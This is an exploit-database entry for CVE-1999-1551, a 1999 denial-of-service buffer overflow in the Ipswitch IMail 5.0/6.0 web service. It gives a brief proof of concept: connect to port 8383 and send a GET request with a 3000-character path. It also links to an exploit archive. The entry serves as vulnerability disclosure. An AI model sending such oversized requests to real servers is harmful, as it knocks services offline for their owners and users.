Ipswitch IMail 5.0/6.0 - Web Service Buffer Overflow (Denial of Service) (PoC)



EKU-ID: 24986 CVE: CVE-1999-1551;OSVDB-10843 OSVDB-ID:
Author: Marc of eEye Published: 1999-03-01 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home 


source: https://www.securityfocus.com/bid/505/info

The IMail web server can be crashed by requesting an abnormally long URL.

Telnet to target machine, port 8383

Send: GET /glob1/
Where glob1 is 3000 characters.

Marc Maiffret <marc@eeye.com> has released the following exploit:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19380.zip